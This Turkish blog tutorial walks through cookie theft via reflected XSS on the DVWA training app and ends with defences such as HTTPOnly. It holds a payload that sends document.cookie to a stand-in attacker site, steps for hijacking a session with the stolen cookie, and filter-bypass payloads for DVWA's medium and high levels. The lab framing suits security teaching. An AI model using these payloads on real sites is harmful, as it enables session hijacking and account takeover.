Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR| How to Steal Cookie with XSS

XSS Nedir ?

Netscape , javascript dilinin tarayıcılarda çalıştırabileceğini duyurduğunda web sunucusu tarafından gönderilen ve istemcide çalıştıralabilen kodların güvenlik riskleri yaratabileceğini göstermiş oluyordu.Örneğin bir sayfadan çalıştırılan betik diğer bir sayfaya ulaşabilecekti.İşte bu noktada xss açıkları kullanılabilecekti.Açılımı Cross-Site Scripting olan Xss saldırıları Reflected XSS ve Stored XSS olmak üzere ikiye ayrılmaktadır.Reflected XSS saldırısı bir web uygulamasının linkinde eğer parametre varsa ve bu parametrenin değeri sayfaya çıktı olarak “yansıtılıyorsa” saldırganların bu mekanizmayı kullanarak kendi değerlerini sayfaya yansıttırması işlemine denir. Reflected türkçe olarak zaten yansıtılmış anlamına gelir.Deneme yanılma yaparak bulununan bu açıklar ile saldırgan, başka bir alan adından, açığın bulunfuğu alan adı ve sayfanın bilgilerini,oturum ayrıntılarını ve diğer nesne değerlerini çalabilmektedir.Stored XSS ise kalıcı hedef siteye kalıcı hasarlara yol açabilir. Örneğin o sitenin veritanına enjekte edilmiş komutlar ile kalıcı hasarlar verilmiş olur.

 

A.XSS Nasıl Kullanırız ?

1) XSS açığı mevcut mu ?

Deneme yanılma ile bunu bulmaya çalışıyoruz. Örneğin, dwva nın bize sunduğu xss açığında input’a gelip <script>alert(‘Sayfa XSS Açığına Sahip’)</script> yazdığımız zaman ekrana aşşağıdaki gibi bir aler alabiliyorsak bu sistemde açık mevcut demektir.

Not: XSS zafiyetlerini chrome tarayıcısı engellemektedir fakat kaynak kodu görüntülediğimizde kırmızı renklendirdiğini görebilirsiniz. Makalemde Firefox web tarayıcısını kullanacağım.

1

 

2.) XSS mevcut ise neler yapabiliriz ?

Bu açığı uygulamak için bir web uygulamasına ihtiyacımız var biz burada örnek olarak DVWA kullanacağız. Öncelikle bunun kurulumunu yaparak başlıyoruz. Aşşağıdaki linkten gerekli dosyayı indiriyoruz.
https://github.com/RandomStorm/DVWA/archive/v1.9.zip

İnecek dosyayı kurulu işletim sistemimizde çalışan web sunucusunun ( Apache – Nginx – LiteSpeed – Python simple web server vb ) çalıştırılabilir dizinine çıkartıyoruz. Ben kurulumu apache web sunucusu üzerine devam ettireceğim, kullandığım işletim sistemi Linux dağıtımı olduğu için dosyamı çıkartacağım dizin “ /var/www/html” dizini olacaktır. Windows bir bilgisayarda XAMP kurulu ise “C://xamp/htdocs”, OS X işletim sistemine sahip olan bilgisayarda MAMP kurulu ise, “Applications/MAMP/htdocs/” dizini altına çıkarmanız, değil ise kullandığınız web sunucunun çalıştırılabilir kök diznine yerleştirmeniz gerekmektedir.

Sisteminizde bulunan herhangi bir metin düzenleyici aracılığı ile ilgili dosyayı açıp düzenlemeniz gerekmektedir, yazımda ben sublime text 3 editörünü kullandım.
Terminal:

subl /var/www/html/DVWA-1.0/config/config.inc.php

Bu işlemleri yaptıktan sonra dvwa-1.9’un içerisinde yer alan config klasörüne geliyoruz ve buradaki config.inc.php dosyasını metin editörü ile açıyoruz.
2

Burada yer alan ‘[email protected]’ olan kısımı root olarak yada kendi şifremiz ne ise onunla değiştiriyoruz.
Son olarakta tarayıcımızda localhostumuzdan bu dvwa yı açıp create database dediğimizde kurulumu bitirmiş oluyoruz. Username’e “admin”, şifre kısmına ise “password” yazarak DVWA sistemine giriş yapmış bulunuyoruz. DVWA standart olarak bu kullanıcı adı ve şifresini atamaktadır.
Bunun ardından DVWA Security sekmesine tıklayıp güvenlik düzeyini low’a getiriyoruz. ( Giriş seviyesinde zorluk )

3

 

Yukarıdaki gibi uyarıyı alabiliyorsak , hedef sitedeki ziyaretçinin o anki DVWA’ya ait olan çerezini ele geçirebiliriz.Böylece hedef sitede kurbanın kullanıcı adı ve şifresini bilmeden kurbanın çereziyle hedef sitede kurban yetkileri ile dolaşabiliriz.Peki bu işlemi nasıl gerçekleştiririz ?

Link:

http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=<script> window.location.href=”bizimsitemiz.com/index.php?cookie=” + document.cookie;</script>

Bu linkte gördüğümüz <script> window.location.href=”saldirganinsitesi.com/index.php?cookie=” + document.cookie;</script> script kodu başka bir sayfaya yönlendirmeye yarar ve cookie değerini bizim sitemize göndermemizi sağlar. Hazırladığımız index.php dosyasının içeriği aşağıdaki gibidir;

Screenshot_20160519_120541

 

B.Nasıl Uygularız ?

1.Low level DWVA :

Eğer Linux’ta DVWA’yı çalıştırıyorsanız /var/www/ dizini içerisinde “bizimsitemiz” adlı bir klasör oluşturun, Windows’ta DVWA’yı çalıştırıyorsanız C:\xampp\htdocs\ dizini içerisinde “bizimsitemiz” adlı bir klasör oluşturun. Bu klasörün içerisine index.php adlı bir dosya oluşturun ve dosyanın içerisine yukarıdaki php kodunu ekleyip kaydedin.
Linux dosya sisteminin gereği olan sonradan eklenen dosyaların güvenlik açısından yetkilendirilmesi zorunluğundan terminalimizden ilgili klasöre yetkilendirme vermeliyiz.

Terminal:

sudo chmod -R 777 /var/www/html/bizimsitemiz

Bu komutu uzak sunucunuzda kullanmanız güvenlik açısından zaafiyet oluşturacaktır.

4

 

Daha sonra belirlediğimiz kurbana göndereceğimiz link aşşağıdaki gibidir;

http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=<script>window.location.href="http://localhost/bizimsitemiz/index.php?cookie="%2Bdocument.cookie</script>

Kurban bu linke tıkladığı anda çerezini bize göndermiş olur.Bizde gelen bu değerleri dosyamıza yazdırmış oluruz.Şimdi biz hem kurban hemde saldırgan olarak bu senaryoyu gerçekleştirelim.

Firefox tarayıcımızdan kurban gibi verilen linke tıklayalım.

5

 

Bu ekranla karşılaşırız.Daha sonra cookie.html dosyamızı açıp oradaki cookie değerimizi kopyalayalım.

6

 

Daha sonra crome tarayacımızdan aşşağıdaki linki açalım ,

https://chrome.google.com/webstore/category/extensions?hl=tr

ve buradaki arama çubuğuna edit this cookie yazalım.Sonuçlar arasındaki EditThisCookie adlı eklentiyi crome’a ekleyelim.

7

 

Şimdi dvwa nın login sayfasına gelelim.

8

 

Daha sonra açılan sayfamızda sağ üstte bulunan yeni eklediğimiz eklentimizi açalım.

9

 

Buradaki security değerine low yazalım.Bunun ardından PHPSESSID sekmesine geçelim.

10

 

Daha sonra kopyaladığımız cookie değerini buraya yapıştıralım ve alttaki yeşil tike tıklayakım.
Son olarak yeni sekmeye geçelim ve tekrar DVWA’nın login ekranını açalım.Bu işlemi yaptığımızda bizi aşağıdaki gibi bir sayfa karşılayacaktır.

11

 

Gördüğünüz gibi kurbanın kullanıcı adı ve şifresini öğrenmeden sisteme o imiş gibi girebildik.

2.Medium Level DWVA:

Medium leveldeki kaynak kod;

Screenshot_20160519_121337

burada aldığı önlem str_replace komutu sayesinde gerçekleşir. Eğer ‘<script>’ gelirse önünde arkasında ne olursa olsun sil anlamına gelir.Bu güvenlik önlemini aşabilmek için <scr<script>ipt>alert(‘Sayfa XSS açığına sahip!’);</script>  şeklinde bir kod girersek bu önlemi aşmış oluruz ve alerti alabiliriz.

3.High Level DWVA:

High leveldeki kaynak kod;

Screenshot_20160519_121506

burada gördüğümüz üzere ;

/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i

Dikkat ederseniz (.*) kısımlarını regular expression’dan çıkarırsanız <script kelimesini göreceksiniz. <script’in aralarına konulan (.*) ile yapılmak istenen şudur: “<script yazısının başında, ortasında, sonunda, her yerinde başka karakter olabilir. Böyle bir desen bulursan onu komple sil”.

Bu güvenlik önlemini nasıl aşabiliriz ?
Tahmin edebileceğiniz üzere bu önlem sadece script tagleri için alınmıştır ancak biz burada hala alert alabilmemiz mümkündür bunu hmtl eventleri ile sağlayabiliriz.

<input type="text" onchange="alert('XSS Açığı Mevcut');">

Bu kodu gönderdiğimizde bir input daha açılacaktır bu eventi çalıştırabilmiş olacağız, ve yeni inputun içine yazabileceğimiz her yazı için alertimizi görebiliriz.

C.Korunma Yöntemleri

1)Kaynak Kod Önlemleri

Kaynak kodumuzda alacağımız önlemler bu konuda etkilidir.Makalemde kullandığım DWVA’nın bütün aşamalarının kaynak koduna baktığımızda alınan güvenlik önlemlerini görebiliriz.

2)Eklentiler

Uygulama güvenliğiniz için XSS vb. saldırılara karşı geliştirişmiş eklentiler mevcuttur.Bunlardan en sık kullanılanları : AntiXss ,HTML Purifier vb. eklentilerdir.Bu eklentileri kullanmanızı tavsiye ederim.

3)HTTP Güvenlik Komutları

HTTPOnly, Microsoft tarafından geliştirilmiştir. HTTPOnly’nin yaptığı iş cookie verilerimizi korumaktır.Cookie bilgilerinde HTTPOnly imzası taşıyan tanımlama bilgilerine,sadece HTTP protokolü tarafından erişim sağlanabilir.Yani bir XSS saldırısına mağrus kalmanız durumunda , tanımlama bilgilerinizde HTTPOnly imzası varsa tarayıcı bilgileri dışarıya aktarmayacaktır.